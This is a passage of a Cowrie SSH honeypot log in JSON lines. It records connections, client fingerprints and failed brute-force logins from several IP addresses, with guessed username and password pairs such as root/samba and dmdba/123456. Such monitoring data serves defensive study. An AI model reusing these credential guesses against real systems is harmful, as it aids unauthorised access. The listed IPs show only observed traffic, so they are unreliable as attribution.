kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:39.875672Z","src_ip":"95.90.13.168","session":"23093bcce175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samba","message":"login attempt [root/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:40.345418Z","src_ip":"95.90.13.168","session":"23093bcce175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:41.458754Z","src_ip":"95.90.13.168","session":"23093bcce175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":35942,"dst_ip":"159.203.135.109","dst_port":22,"session":"d610dbdeb551","protocol":"ssh","message":"New connection: 2.57.122.238:35942 (159.203.135.109:22) [session: d610dbdeb551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:48.207083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:48.211626Z","src_ip":"2.57.122.238","session":"d610dbdeb551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:48.306966Z","src_ip":"2.57.122.238","session":"d610dbdeb551","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:48.592553Z","src_ip":"2.57.122.238","session":"d610dbdeb551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:49.690163Z","src_ip":"2.57.122.238","session":"d610dbdeb551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49602,"dst_ip":"10.17.0.5","dst_port":22,"session":"a738490ec0cb","protocol":"ssh","message":"New connection: 8.218.166.49:49602 (10.17.0.5:22) [session: a738490ec0cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:56.268480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:57.044488Z","src_ip":"8.218.166.49","session":"a738490ec0cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:57.051940Z","src_ip":"8.218.166.49","session":"a738490ec0cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:07.654191Z","src_ip":"8.218.166.49","session":"a738490ec0cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:09.778812Z","src_ip":"8.218.166.49","session":"a738490ec0cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":60085,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d9a4fee659b","protocol":"ssh","message":"New connection: 95.90.13.168:60085 (10.17.0.5:22) [session: 0d9a4fee659b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:23.522176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:23.534706Z","src_ip":"95.90.13.168","session":"0d9a4fee659b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:23.641013Z","src_ip":"95.90.13.168","session":"0d9a4fee659b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustafa123","message":"login attempt [root/mustafa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:24.053704Z","src_ip":"95.90.13.168","session":"0d9a4fee659b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:25.165659Z","src_ip":"95.90.13.168","session":"0d9a4fee659b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.195.187","src_port":46016,"dst_ip":"10.17.0.5","dst_port":22,"session":"639c61aceacd","protocol":"ssh","message":"New connection: 104.28.195.187:46016 (10.17.0.5:22) [session: 639c61aceacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:37.631719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:37.636863Z","src_ip":"104.28.195.187","session":"639c61aceacd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:37.763779Z","src_ip":"104.28.195.187","session":"639c61aceacd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"summit","message":"login attempt [root/summit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:38.099490Z","src_ip":"104.28.195.187","session":"639c61aceacd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:39.178052Z","src_ip":"104.28.195.187","session":"639c61aceacd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":52208,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f75751b1704","protocol":"ssh","message":"New connection: 8.218.166.49:52208 (10.17.0.5:22) [session: 9f75751b1704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:41.821106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:41.826182Z","src_ip":"8.218.166.49","session":"9f75751b1704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":48914,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d042f933c85","protocol":"ssh","message":"New connection: 182.180.57.212:48914 (10.17.0.5:22) [session: 1d042f933c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:48.290941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:48.295301Z","src_ip":"182.180.57.212","session":"1d042f933c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:48.525668Z","src_ip":"182.180.57.212","session":"1d042f933c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shannon","message":"login attempt [root/shannon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:49.477179Z","src_ip":"182.180.57.212","session":"1d042f933c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":36514,"dst_ip":"10.17.0.5","dst_port":22,"session":"230df2faab2c","protocol":"ssh","message":"New connection: 14.63.196.175:36514 (10.17.0.5:22) [session: 230df2faab2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:50.436809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:50.441125Z","src_ip":"14.63.196.175","session":"230df2faab2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:50.639127Z","src_ip":"14.63.196.175","session":"230df2faab2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:50.709805Z","src_ip":"182.180.57.212","session":"1d042f933c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbn","message":"login attempt [root/zxcvbn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:51.477997Z","src_ip":"14.63.196.175","session":"230df2faab2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":47498,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca8882af5be6","protocol":"ssh","message":"New connection: 8.218.166.49:47498 (10.17.0.5:22) [session: ca8882af5be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:51.714950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:51.719965Z","src_ip":"8.218.166.49","session":"ca8882af5be6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:24:52.679051Z","src_ip":"14.63.196.175","session":"230df2faab2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53690,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbf379cf70cf","protocol":"ssh","message":"New connection: 8.218.166.49:53690 (10.17.0.5:22) [session: bbf379cf70cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:03.881191Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":63535,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce590eda702f","protocol":"ssh","message":"New connection: 95.90.13.168:63535 (10.17.0.5:22) [session: ce590eda702f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:04.126745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:04.131392Z","src_ip":"95.90.13.168","session":"ce590eda702f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:04.239823Z","src_ip":"95.90.13.168","session":"ce590eda702f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miami13","message":"login attempt [root/miami13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:04.717935Z","src_ip":"95.90.13.168","session":"ce590eda702f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:05.832539Z","src_ip":"95.90.13.168","session":"ce590eda702f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39560,"dst_ip":"10.17.0.5","dst_port":22,"session":"eee098e1bb16","protocol":"ssh","message":"New connection: 8.218.166.49:39560 (10.17.0.5:22) [session: eee098e1bb16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:09.091875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:09.097189Z","src_ip":"8.218.166.49","session":"eee098e1bb16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40944,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdb5f91e3853","protocol":"ssh","message":"New connection: 8.218.166.49:40944 (10.17.0.5:22) [session: fdb5f91e3853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:33.803404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:25:37.958106Z","src_ip":"8.218.166.49","session":"fdb5f91e3853","protocol":"ssh"}
